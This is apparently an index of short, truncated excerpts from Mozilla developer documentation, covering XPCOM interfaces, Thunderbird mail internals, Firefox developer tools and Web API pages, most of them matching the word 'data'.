findentryproperties() find properties used to get properties such as 'type' and 'content-disposition' 'type' is a nsisupportscstring containing the images' mime type such as 'image/png' 'content-disposition' will be a nsisupportscstring containing the header if you call this before any data has been loaded from a uri, it will succeed, but come back empty.
mozIAsyncHistory
if there's no information available for a given place, acallback is called with a stub place info object, containing just the provided data (guid or uri).
mozIColorAnalyzer
void findrepresentativecolor( in nsiuri imageuri, in mozirepresentativecolorcallback callback ); parameters imageuri a uri pointing to the image - ideally a data: uri, but any scheme that will load when setting the src attribute of a dom img element should work.
mozIJSSubScriptLoader
note: in versions of gecko prior to gecko 1.9, you could use data: urls as well, but this introduced security concerns, and is no longer permitted.
mozIStoragePendingStatement
the mozistoragependingstatement interface represents a pending asynchronous database statement, and offers the cancel() method which allows you to cancel the pending statement.
mozIStorageProgressHandler
see also storage mozstorage introduction and how-to article mozistorageconnection database connection to a specific file or in-memory data storage mozistoragestatement create and execute sql statements on a sqlite database.
mozIStorageRow
the mozistoragerow interface represents a row in the result set from a storage database query.
mozIStorageStatementCallback
the mozistoragestatementcallback interface represents a callback handler that the storage api calls with result, error, and completion notifications while handling asynchronous database queries.
nsIAsyncOutputStream
in other words, this method may be called when the stream already has room for more data.
nsIBinaryInputStream
xpcom/io/nsibinaryinputstream.idlscriptable this interface allows consumption of primitive data types from a "binary stream" containing untagged, big-endian binary data, that is as produced by an implementation of nsibinaryoutputstream.
nsICRLInfo
nameindb astring the key identifying the crl in the database.
nsICacheEntryInfo
datasize unsigned long get the cache entry data size.
nsICacheService
streambased indicates whether or not the data being cached can be represented as a stream.
nsIChromeFrameMessageManager
void loadframescript( in astring aurl, in boolean aallowdelayedload ); parameters aurl the url of the script to load into the frame; this must be an absolute url, but data: urls are supported.
nsIContentViewer
void setdocumentinternal( in nsidocumentptr adocument, in boolean aforcereuseinnerwindow ); parameters adocument missing description aforcereuseinnerwindow missing description setnavigationtiming() set collector for navigation timing data (load and unload events).
nsIConverterInputStream
see also nsiconverteroutputstream see reading textual data for an example.
nsIDOMFileReader
the nsidomfilereader interface provides a way to read data from a file specified by an nsidomfile.
nsIDOMFontFace
metadata domstring xml metadata from woff file(if any).
nsIDOMMozNetworkStats
data nsidommoznetworkstatsdata array stats samples.
nsIDOMNSHTMLDocument
roughly equivalent to body.contenteditable domain domstring initially the host name of the document's url, but may be changed to the parent (but not top-level) domain in order to facilitate data exchange between documents from different sites in the same domain.
nsIDOMSimpleGestureEvent
1.0 66 introduced gecko 1.9.1 inherits from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomsimplegestureevent interface is the datatype for all mozilla-specific simple gesture events in the document object model.
nsIDOMStorageEventObsolete
1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsidomevent last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) when a dom storage event is received, the recipient can check its domain attribute to determine which domain's data store has changed.
nsIDOMStorageList
return value the nsidomstorage object representing the data store for the specified domain.see also dom storage structured client-side storage (html 5 specification) nsidomwindow ...
nsIDOMWindowInternal
void updatecommands(in domstring action) boolean find([optional] in domstring str,[optional] in boolean casesensitive, [optional] in boolean backwards, [optional] in boolean wraparound, [optional] in boolean wholeword, [optional] in boolean searchinframes, [optional] in boolean showdialog) domstring atob(in domstring aasciistring) domstring btoa(in domstring abase64data) nsivariant showmodaldialog(in nsivariant aargs, [optional] in domstring aoptions) void postmessage(in domstring message, in domstring targetorigin) attributes attribute type description window nsidomwindowinternal readonly: the window object itself.
nsIDirIndexParser
this result is only valid after onstoprequest has occurred, because it can occur anywhere in the datastream.
getFile
s_win_network_dir "netw" ns_win_nethood_dir "neth" ns_win_fonts_dir "fnts" ns_win_templates_dir "tmpls" ns_win_common_startmenu_dir "cmstrt" ns_win_common_programs_dir "cmprgs" ns_win_common_startup_dir "cmstrt" ns_win_common_desktop_directory "cmdeskp" ns_win_appdata_dir "appdata" ns_win_local_appdata_dir "localappdata" ns_win_printhood "prnthd" ns_win_cookies_dir "cookd" available on unix only these locations are supported only on unix builds of firefox os.
nsIDownloader
this may utilize the disk cache as an optimization to avoid an extra copy of the data on disk.
nsIDynamicContainer
it can use the property bag on every result node to store data associated with each item, such as a full path on disk.
nsIEffectiveTLDService
the tld space is currently expanding at a fairly great rate, and the copy of the psl firefox has may not be totally up to date (because it's not dynamically updated data).
nsIEnumerator
sample usage var iter = --------(); try { iter.first(); do { var data = iter.currentitem(); if( data instanceof ci.nsi------ ) { ...
nsIExternalProtocolService
specifically, this looks to see whether there are any known possible application handlers in either the nsihandlerservice datastore or registered with the os.
nsIFeed
image nsiwritablepropertybag2 provides an image url and metadata, as defined by rss 2.
nsIFeedEntry
toolkit/components/feeds/public/nsifeedentry.idlscriptable this interface describes a single entry in an rss or atom news feed, providing attributes allowing access to the entry's data.
nsIFeedResultListener
even if an error occurred during processing, there may be valid data available for feed-level data or entries processed before the error occurred.
nsIFrameMessageManager
json optional a json object containing data to be delivered to the listeners.
nsIGeolocationProvider
your location provider should call this routine whenever new position data is available.
nsIGlobalHistory2
note: docshell will not filter out uri schemes like chrome:, data:, about: and view-source:.
nsIHttpHeaderVisitor
sflash; }; myhttprequestobserver = function ( ) { this.register( ); this.aborted = components.results.ns_binding_aborted; this.nsihttpchannel = components.interfaces.nsihttpchannel; this.nsichannel = components.interfaces.nsichannel; this.nsirequest = components.interfaces.nsirequest; }; myhttprequestobserver.prototype.observe = function ( subject, topic, data ) { var uri, avisitor; if ( subject instanceof this.nsihttpchannel ) { avisitor = new mynsihttpheadervisitor( ); subject.visitresponseheaders( avisitor ); if ( avisitor.isflash( ) ) { uri = subject.uri; subject.cancel( this.aborted ); alert( "found flash!" ); //handle flash file here ...
nsIINIParserWriter
this indicates the file into which the ini data will be written.
nsIIOService
these are provided as a convenience to the programmer and in some cases to improve performance by eliminating intermediate data structures and interfaces.
nsILocalFileMac
filesizewithresfork print64 returns the combined size of both the data fork and the resource fork (if present) rather than just the size of the data fork as returned by getfilesize() read only.
nsIMimeConverter
, in boolean structured, in string mailcharset, in long fieldnamelen, in long encodedwordsize); string decodemimeheadertocharptr(in string header, in string default_charset, in boolean override_charset, in boolean eatcontinuations); astring decodemimeheader(in string header, in string default_charset, in boolean override_charset, in boolean eatcontinuations); mimeencoderdata *b64encoderinit(in mimeconverteroutputcallback output_fn, in void *closure); mimeencoderdata *qpencoderinit(in mimeconverteroutputcallback output_fn, in void *closure); void encoderdestroy(in mimeencoderdata *data, in boolean abort_p); long encoderwrite(in mimeencoderdata *data, in string buffer, in long size); methods encodemimepartiistr() an variant of enco...
nsIModule
it is very important to ensure that no outstanding references to the module's code/data exist before returning true.
nsIMsgFilter
alue op, in nsimsgsearchvalue value, out boolean booleanand, out acstring arbitraryheader ) appendterm() void nsimsgfilter::appendterm (in nsimsgsearchterm term) createterm() nsimsgsearchterm nsimsgfilter::createterm ( ) matchhdr() void nsimsgfilter::matchhdr ( in nsimsgdbhdr msghdr, in nsimsgfolder folder, in nsimsgdatabase db, in string headers, in unsigned long headersize, out boolean result ) logrulehit() void nsimsgfilter::logrulehit ( in nsimsgruleaction afilteraction, in nsimsgdbhdr aheader ) createaction() nsimsgruleaction nsimsgfilter::createaction ( ) getactionat() nsimsgruleaction nsimsgfilter::getactionat (in long aindex) appendaction() void ns...
nsIMsgFilterCustomAction
otherwise, be careful * that the action does correct notifications to maintain counts, and correct * manipulations of both imap and local non-database storage of message * metadata.
nsIMsgFilterList
stream stream ) parsecondition() void nsimsgfilterlist::parsecondition ( in nsimsgfilter afilter, in string condition ) savetodefaultfile() void nsimsgfilterlist::savetodefaultfile ( ) applyfilterstohdr() void nsimsgfilterlist::applyfilterstohdr ( in nsmsgfiltertypetype filtertype, in nsimsgdbhdr msghdr, in nsimsgfolder folder, in nsimsgdatabase db, in string headers, in unsigned long headersize, in nsimsgfilterhitnotify listener, in nsimsgwindow msgwindow, in nsilocalfile amessagefile ) writeinattr() void nsimsgfilterlist::writeintattr ( in nsmsgfilterfileattribvalue attrib, in long value, in nsioutputstream ...
nsIMsgHeaderParser
aemailaddresses missing description anames missing description afullnames missing description count missing description exceptions thrown missing exception missing description native code only!reformatheaderaddresses given a string which contains a list of header addresses, returns a new string with the same data, but inserts missing commas, parses and reformats it, and wraps long lines with newline-tab.
nsIMsgIncomingServer
please look at mozilla/mailnews/base/ispdata/aol.rdf for usage example.
nsIMsgProtocolInfo
defaultlocalfilepath nsilocalfile the default path under which all server data for this account type will be stored.
nsIMsgSearchCustomTerm
* @return array of operators */ void getavailableoperators(in nsmsgsearchscopevalue scope, out unsigned long length, [retval, array, size_is(length)] out nsmsgsearchopvalue operators); match /** * apply the custom search term to a message * * @param msghdr header database reference representing the message * @param searchvalue user-set value to use in the search * @param searchop search operator (contains, ishigherthan, etc.) * * @return true if the term matches the message, else false */ boolean match(in nsimsgdbhdr msghdr, in autf8string searchvalue, in nsmsgsearchopvalu...
nsIMsgSearchNotify
void onsearchdone(in nsresult status); /* * until we can encode searches with a uri, this will be an * out-of-bound way to connect a set of search terms to a datasource */ /* * called when a new search begins */ void onnewsearch(); }; ...
nsIMsgSearchTerm
*/ boolean matchbody(in nsimsgsearchscopeterm ascopeterm, in unsigned long long aoffset, in unsigned long alength, in string acharset, in nsimsgdbhdr amsg, in nsimsgdatabase adb); ...
nsIMsgWindow
this is equivalent to calling loaduri on the nsiwebnavigation object with a data: url specifying the html.
nsINavHistoryBatchCallback
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void runbatched(in nsisupports auserdata); methods runbatched() void runbatched( in nsisupports auserdata ); parameters auserdata see also nsinavhistoryservice.runinbatchmode() nsinavbookmarksservice.runinbatchmode() ...
nsINavHistoryQueryOptions
this is because sorting by title requires us to sort after using locale-sensetive sorting (as opposed to letting the database do it for us).
nsINavHistoryResultNode
itemid long long if the node is an item (bookmark, folder, or separator), this value is the row id of that bookmark in the database.
nsINavHistoryService
if the uri does not have an entry in the history database already, one will be created with no visits, no title, hidden, not typed.
nsIProfileLock
localdirectory nsilocalfile a directory corresponding to the main profile directory, which exists for the purpose of storing data on the local filesystem, including cache files or other data files that may not represent critical user data.
nsIResumableChannel
in both of these cases, no ondataavailable will be called, and onstoprequest will immediately follow with the same status code.
nsISHistory
ns_success_loss_of_insignificant_data purge was vetoed.
nsISSLSocketControl
this is used to encrypt plain-text data communication.
nsISearchSubmission
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description postdata nsiinputstream the post data associated with a search submission, wrapped in a mime input stream.
nsISeekableStream
xpcom/io/nsiseekablestream.idlscriptable provides seeking support in data streams.
nsIStackFrame
null indicates "no data" read only.
nsISupportsCString
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data acstring provides access to the native type represented by the object.
nsISupportsChar
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data char provides access to the native type represented by the object.
nsISupportsDouble
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data double provides access to the native type represented by the object.
nsISupportsFloat
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data float provides access to the native type represented by the object.
nsISupportsID
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data nsidptr provides access to the native type represented by the object.
nsISupportsPRBool
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data prbool provides access to the native type represented by the object.
nsISupportsPRInt16
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data print16 provides access to the native type represented by the object.
nsISupportsPRInt32
66 introduced gecko 1.0 inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data print32 provides access to the native type represented by the object.
nsISupportsPRInt64
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data print64 provides access to the native type represented by the object.
nsISupportsPRTime
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data prtime provides access to the native type represented by the object.
nsISupportsPRUint16
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data pruint16 provides access to the native type represented by the object.
nsISupportsPRUint32
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data pruint32 provides access to the native type represented by the object.
nsISupportsPRUint64
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data pruint64 provides access to the native type represented by the object.
nsISupportsPRUint8
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data pruint8 provides access to the native type represented by the object.
nsISupportsString
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data astring provides access to the native type represented by the object.
nsISupportsVoid
inherits from: nsisupportsprimitive last changed in gecko 1.0 method overview string tostring(); attributes attribute type description data voidptr this attribute provides access to the native type represented by the object.
nsISupports proxies
as soon as the calling function or method exits, there is no guarantee about the data at the location that used to be part of that stack frame.
nsITaggingService
i auri, in nsivariant atags); nsivariant geturisfortag(in astring atag); nsivariant gettagsforuri(in nsiuri auri, [optional] out unsigned long length, [retval, array, size_is(length)] out wstring atags); attributes attribute type description alltags nsivariant retrieves all tags used to tag uris in the data-base (sorted by name).
nsIThread
warning: calling nsithread.processnextevent allows network and ui events to run which can modify data structures that your code isn't expecting to be modified during a synchronous method call.
nsITreeBoxObject
view nsitreeview the view that backs the tree and that supplies it with its data.
nsIUpdateItem
toolkit/mozapps/extensions/public/nsiextensionmanager.idlscriptable describes an item managed by the extension system, providing metadata describing the item.
nsIUrlListManagerCallback
toolkit/components/url-classifier/public/nsiurllistmanager.idlscriptable interface for a class that manages updates of the url classifier database.
nsIWebBrowser
active means that it's visible enough that we want to avoid certain optimizations like discarding decoded image data and throttling the refresh driver.
nsIWebNavigationInfo
this lets you determine whether a mime type can be displayed as-is inside a browser, or if the browser will instead forward handling of the data to a plug-in or an external helper application.
nsIXFormsNSInstanceElement
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) interface code [scriptable, uuid(80669b92-8331-4f92-aaf8-06e80e6827b3)] interface nsixformsnsinstanceelement : nsisupports { nsidomdocument getinstancedocument(); }; methods getinstancedocument nsidomdocument getinstancedocument(); getinstancedocument returns a dom document that corresponds to the instance data associated with the instance element.
nsIXMLHttpRequestEventTarget
content/base/public/nsixmlhttprequest.idlscriptable this interface provides access to the event listeners used when uploading data using the xmlhttprequest object.
nsIXMLHttpRequestUpload
content/base/public/nsixmlhttprequest.idlscriptable this interface provides access to the features needed when uploading data using nsixmlhttprequest.
nsIXULRuntime
this will cause components to be auto registered and all fast load data to be re-created.
nsMsgMessageFlags
runtimeonly 0x00000020 indicates the flags which are not emitted to the database.
nsStaticModuleInfo
summary this data structure is used by ns_initxpcom3 to specify static xpcom modules.
XPCOM reference
for example, to request the 'show all threads' view use the constant:nsstaticmoduleinfothis data structure is used by ns_initxpcom3 to specify static xpcom modules.standard xpcom componentsthere are a number of components provided in the standard implementation of xpcom; these are as follows.xpcom glue classesthese "glue" classes are provided to make it easier to use xpcom from c++ code.xpcom interface referencethis is a reference to the xpcom interfaces provided by the mozilla platform.xpco...
Warnings
however, when the index is used, the data can be obtained row by row from the database, which will be much faster.
Reference Manual
prefer destruction to assignment prefer do_queryinterface to calling queryinterface iterating there is a very common idiom for iterating over data-structures with normal pointers, e.g., // iterating with pointers to non-xpcom objects...
Using nsIPasswordManager
of this information, the password is the only data that will be stored securely.
XUL Overlays
MozillaTechXULOverlays
the chrome registry, which is a special rdf datasource into which user-specific information is persisted, or stored, contains information about the components or additional packages that have been installed with the browser.
DB Views (message lists)
one unique thing about nsmsggroupview is that instead of using the message database's nsmsgthread objects like the other view classes, it uses an nsmsggroupthread object, which also implements nsimsgthread.
nsIMsgCloudFileProvider
refreshuserinfo() refreshes the data for this user account - for example, the storage quota, or the amount of storage being used.
Filelink Providers
this function is called automatically once the dom content is done loading, and is passed a single parameter - the provider instance whose data is being displayed.
MailNews fakeserver
to enable/disable debugging, call setdebuglevel on your nsmailserver instance with one of the following options: const fsdebugnone = 0; // dump nothing const fsdebugrecv = 1; // dump just the received commands const fsdebugrecvsend = 2; // dump received + sent commands, no data const fsdebugall = 3; // dump everything debugging is set to "none" by default.
MailNews Protocols
these implement nsimsgprotocol, inherit from nsmsgprotocol, and implement their own protocol-specific interface (nsiimapprotocol, nsipop3protocol, nsinntpprotocol) in addition, in mailnews/db/msgdb/public, we have protocol-specific msg db classes (and in the case of news, a nsinewsdatabase interface), so that we can use polymorphism when msg db operations need to be specialized for different kinds of folders.
Thunderbird Binaries
warning: whilst developers try to ensure that nightly builds are stable, it is possible that errors can get into nightly builds that can destroy your data or harm it.
Finding the code for a feature
tags are applied using the message database property "keyword".
Thunderbird developer reference docs
folder classes db views (message list) message summary database mailnews protocols mailnews filters ...
Tips and Tricks from the newsgroups
extensions load an extension in its own tab run shell scripts from an extension (for example, to create a symlink) get extension metadata call java from thunderbird extensions (also an example here, written for firefox but compatible with thunderbird 3.x) define a custom protocol handler to call an external program save attachment and send it repeat image display using css sprites messages use reminderfox to open a message in the default thunderbird message window (when messageuri, folderuri and g...
Using the Multiple Accounts API
the keys are also used to decide the name of each of the preferences that hold the object's data.
libmime content type handlers
the primary * purpose of these handlers will be to represent the attached data in a * viewable html format that is useful for the user * * note: these will all register by their content type prefixed by the * following: mimecth:text/vcard * * libmime will then use nscomponentmanager::contractidtoclsid() to * locate the appropriate content type handler */ #ifndef nsimimecontenttypehandler_h_ #define nsimimecontenttypehandler_h_ typedef s...
Thunderbird
database views backend information about nsimsgdbview and related interfaces.
Int64
because javascript doesn't currently include standard support for 64-bit integer values, js-ctypes offers the int64 and uint64 objects to let you work with c functions and data that need (or may need) values represented using a 64-bit data type.
UInt64
as javascript doesn't currently include standard support for 64-bit integer values, js-ctypes offers the int64 and uint64 objects to let you work with c functions and data that need (or may need) to use data represented using a 64-bit data type.
Memory - Plugins
mac os the mac os browser frequently fills its memory partition with cached data that is purged only as necessary.
Add-ons - Firefox Developer Tools
websocket monitor examine the data exchanged in a websocket connection.
Debugger.Frame - Firefox Developer Tools
source metadata generated from file: js/src/doc/debugger/debugger.frame.md watermark: sha256:b1894f88b76b7afd661f3044a05690d76d1498c54c596ca729c6ee0d150d2da1 changeset: e91b2c85aacd ...
Debugger.Script - Firefox Developer Tools
source metadata generated from file: js/src/doc/debugger/debugger.script.md watermark: sha256:8816a4e8617be32c4ce7f3ae54970fe9c8a7d248175d215a8990ccff23e6efa9 changeset: 5572465c08a9+ ...
Debugger - Firefox Developer Tools
source metadata generated from file: js/src/doc/debugger/debugger.md watermark: sha256:03b36132885e046a5f213130ba22b1139b473770f7324b842483c09ab7665f7c changeset: e91b2c85aacd ...
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
(it is unclear why spanfactory allocated thirteen objects, despite being called only ten times.) source metadata generated from file: js/src/doc/debugger/tutorial-alloc-log-tree.md watermark: sha256:b56f6df61c39dbe19ca1f49752aea42207c804355513f4fea8249bdeb4cb056d changeset: 251fccc1f62b ...
Tutorial: Set a breakpoint - Firefox Developer Tools
source metadata generated from file: js/src/doc/debugger/tutorial-breakpoint.md watermark: sha256:c8dd4bb69972b58e59fcbe6870499206463a5e330fda25f1214893595a1c01d0 changeset: ffa775dd5bd4 ...
Aggregate view - Firefox Developer Tools
there are three main ways to group the data: type call stack inverted call stack you can switch between them using the dropdown menu labeled "group by:" located at the top of the panel: there's also a box labeled "filter" at the top-right of the pane.
View background images - Firefox Developer Tools
just hover over the rule: from firefox 41, if you right-click the image declaration, you'll see an option to copy the image as a data: url: ...
Settings - Firefox Developer Tools
keybindings choose the default codemirror keybindings or keybindings from one of several popular editors: vim emacs sublime text advanced settings show gecko platform data a setting to control whether or not profiles should include gecko platform symbols.
Tips - Firefox Developer Tools
console.table() displays tabular data as table.
Web Audio Editor - Firefox Developer Tools
within that context they then construct a number of audio nodes, including: nodes providing the audio source, such as an oscillator or a data buffer source nodes performing transformations such as delay and gain nodes representing the destination of the audio stream, such as the speakers each node has zero or more audioparam properties that configure its operation.
Console messages - Firefox Developer Tools
the messages are transmitted to the client as a response header named x-chromelogger-data.
about:debugging - Firefox Developer Tools
if you used a higher version of firefox prior to installing firefox esr, you will be prompted to create a new user profile, in order to protect your user data.
ANGLE_instanced_arrays.drawArraysInstancedANGLE() - Web APIs
the angle_instanced_arrays.drawarraysinstancedangle() method of the webgl api renders primitives from array data like the gl.drawarrays() method.
ANGLE_instanced_arrays.drawElementsInstancedANGLE() - Web APIs
the angle_instanced_arrays.drawelementsinstancedangle() method of the webgl api renders primitives from array data like the gl.drawelements() method.
ANGLE_instanced_arrays - Web APIs
the angle_instanced_arrays extension is part of the webgl api and allows to draw the same object, or groups of similar objects multiple times, if they share the same vertex data, primitive count and type.
AbstractRange - Web APIs
there are two such interfaces: range the range interface has been around for a long time and has only recently been redefined to be based upon abstractrange as the need arose to define other forms of range data.
AddressErrors.languageCode - Web APIs
this validation might be as simple as ensuring the text of the string is compliant with the syntax defined in bcp-47, or as detailed as actually verifying that the specified string matches a value from a database.
AesCtrParams - Web APIs
in ctr mode, every time a block of the message is encrypted, an extra block of data is mixed in.
ArrayBufferView - Web APIs
arraybufferview is a helper type representing any of the following javascript typedarray types: int8array, uint8array, uint8clampedarray, int16array, uint16array, int32array, uint32array, float32array, float64array or dataview.
AudioBufferSourceNode.detune - Web APIs
example const audioctx = new audiocontext(); const channelcount = 2; const framecount = audioctx.samplerate * 2.0; // 2 seconds const myarraybuffer = audioctx.createbuffer(channelcount, framecount, audioctx.samplerate); for (let channel = 0; channel < channelcount; channel++) { const nowbuffering = myarraybuffer.getchanneldata(channel); for (let i = 0; i < framecount; i++) { nowbuffering[i] = math.random() * 2 - 1; } } const source = audioctx.createbuffersource(); source.buffer = myarraybuffer; source.connect(audioctx.destination); source.detune.value = 100; // value in cents source.start(); specifications specification status comment web audio apithe definition of 'detune' in that s...
AudioContext.createMediaStreamSource() - Web APIs
ge = document.queryselector('input'); // getusermedia block - grab stream // put it into a mediastreamaudiosourcenode // also output the visuals into a video element if (navigator.mediadevices) { console.log('getusermedia supported.'); navigator.mediadevices.getusermedia ({audio: true, video: true}) .then(function(stream) { video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.ty...
AudioDestinationNode - Web APIs
it can also be the node that will "record" the audio data when used with an offlineaudiocontext.
AudioNode - Web APIs
WebAPIAudioNode
audionode.connect() allows us to connect the output of this node to be input into another node, either as audio data or as the value of an audioparam.
AudioParam.value - Web APIs
WebAPIAudioParamvalue
usage notes value precision and variation the data type used internally to store value is a single-precision (32-bit) floating point number, while javascript uses 64-bit double-precision floating point numbers.
AudioTrack.kind - Web APIs
WebAPIAudioTrackkind
"" (empty string) the track doesn't have an explicit kind, or the kind provided by the track's metadata isn't recognized by the user agent.
AudioTrack.label - Web APIs
WebAPIAudioTracklabel
syntax var audiotracklabel = audiotrack.label; value a domstring specifying the track's human-readable label, if one is available in the track metadata.
AuthenticatorAssertionResponse.userHandle - Web APIs
such an identifier can be used by the relying party's server to link the user account with its corresponding credentials and other data.
AuthenticatorResponse - Web APIs
authenticatorassertionresponse authenticatorattestationresponse properties authenticatorresponse.clientdatajson a json string in an arraybuffer, representing the client data that was passed to credentialscontainer.create() or credentialscontainer.get().
BaseAudioContext.createChannelMerger() - Web APIs
var ac = new audiocontext(); ac.decodeaudiodata(somestereobuffer, function(data) { var source = ac.createbuffersource(); source.buffer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitte...
BaseAudioContext.createChannelSplitter() - Web APIs
var ac = new audiocontext(); ac.decodeaudiodata(somestereobuffer, function(data) { var source = ac.createbuffersource(); source.buffer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitte...
BaseAudioContext.createConvolver() - Web APIs
// grab audio track via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error with decoding audio data" + e.err}); } ajaxrequest.send(); ...
BaseAudioContext.createDynamicsCompressor() - Web APIs
ompressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(...
Battery Status API - Web APIs
this can be used to adjust your app's resource usage to reduce battery drain when the battery is low, or to save changes before the battery runs out in order to prevent data loss.
BiquadFilterNode.getFrequencyResponse() - Web APIs
ut = new float32array(5); next we create a <ul> element in our html to contain our results, and grab a reference to it in our javascript: <p>biquad filter frequency response for: </p> <ul class="freq-response-output"> </ul> var freqresponseoutput = document.queryselector('.freq-response-output'); finally, after creating our biquad filter, we use getfrequencyresponse() to generate the response data and put it in our arrays, then loop through each data set and output them in a human-readable list at the bottom of the page: var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; ...
Blob.size - Web APIs
WebAPIBlobsize
syntax var sizeinbytes = blob.size value the number of bytes of data contained within the blob (or blob-based object, such as a file).
BluetoothDevice - Web APIs
bluetoothdevice.addata read only an instance of bluetoothadvertisingdata containing the most recent advertising data received for the device.
Body.body - Web APIs
WebAPIBodybody
ge = document.getelementbyid('target'); // fetch the original image fetch('./tortoise.png') // retrieve its body as readablestream .then(response => response.body) .then(body => { const reader = body.getreader(); return new readablestream({ start(controller) { return pump(); function pump() { return reader.read().then(({ done, value }) => { // when no more data needs to be consumed, close the stream if (done) { controller.close(); return; } // enqueue the next data chunk into our target stream controller.enqueue(value); return pump(); }); } } }) }) .then(stream => new response(stream)) .then(response => response.blob()) .then(blob => url.createobjecturl(blob))...
BroadcastChannel: messageerror event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessageerror examples this code uses addeventlistener to listen for messages and errors: const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); channel.addeventlistener('messageerror', (event) => { console.error(event); }); the same, but using the onmessage and onmessageerror event handler properties: const channel = new broadcastchannel('example-channel'); channel.onmessage = (event) => { received.textcontent = event.data; }; channel.onmessageerror = (event) => { console.log(event); }; specifications specific...
BroadcastChannel.onmessage - Web APIs
'${ev.data}'`); }; specifications specification status comment html living standardthe definition of 'broadcastchannel.onmessage' in that specification.
ByteLengthQueuingStrategy.size() - Web APIs
syntax var size = bytelengthqueuingstrategy.size(chunk); parameters chunk a chunk of data being passed through the stream.
CSSOMString - Web APIs
cssomstring is used to denote string data in cssom specifications and can refer to either domstring or usvstring.
Using the CSS Painting API - Web APIs
the 2d rendering context is a subset of the html5 canvas api; the version available to houdini (called the paintrenderingcontext2d) is a further subset containing most of the features available in the full canvas api with the exception of the canvasimagedata, canvasuserinterface, canvastext, and canvastextdrawingstyles apis.
Cache.match() - Web APIs
WebAPICachematch
it uses a cache to supply selected data when a request fails.
Cache - Web APIs
WebAPICache
the browser will generally delete all of the data for an origin or none of the data for an origin.
CanvasRenderingContext2D.drawImage() - Web APIs
invalid_state_err the image has no image data.
ChannelMergerNode - Web APIs
var ac = new audiocontext(); ac.decodeaudiodata(somestereobuffer, function(data) { var source = ac.createbuffersource(); source.buffer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitte...
ChannelSplitterNode - Web APIs
var ac = new audiocontext(); ac.decodeaudiodata(somestereobuffer, function(data) { var source = ac.createbuffersource(); source.buffer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitte...
Channel Messaging API - Web APIs
the other browsing context can listen for the message using messageport.onmessage, and grab the contents of the message using the event's data attribute.
ChildNode.after() - Web APIs
WebAPIChildNodeafter
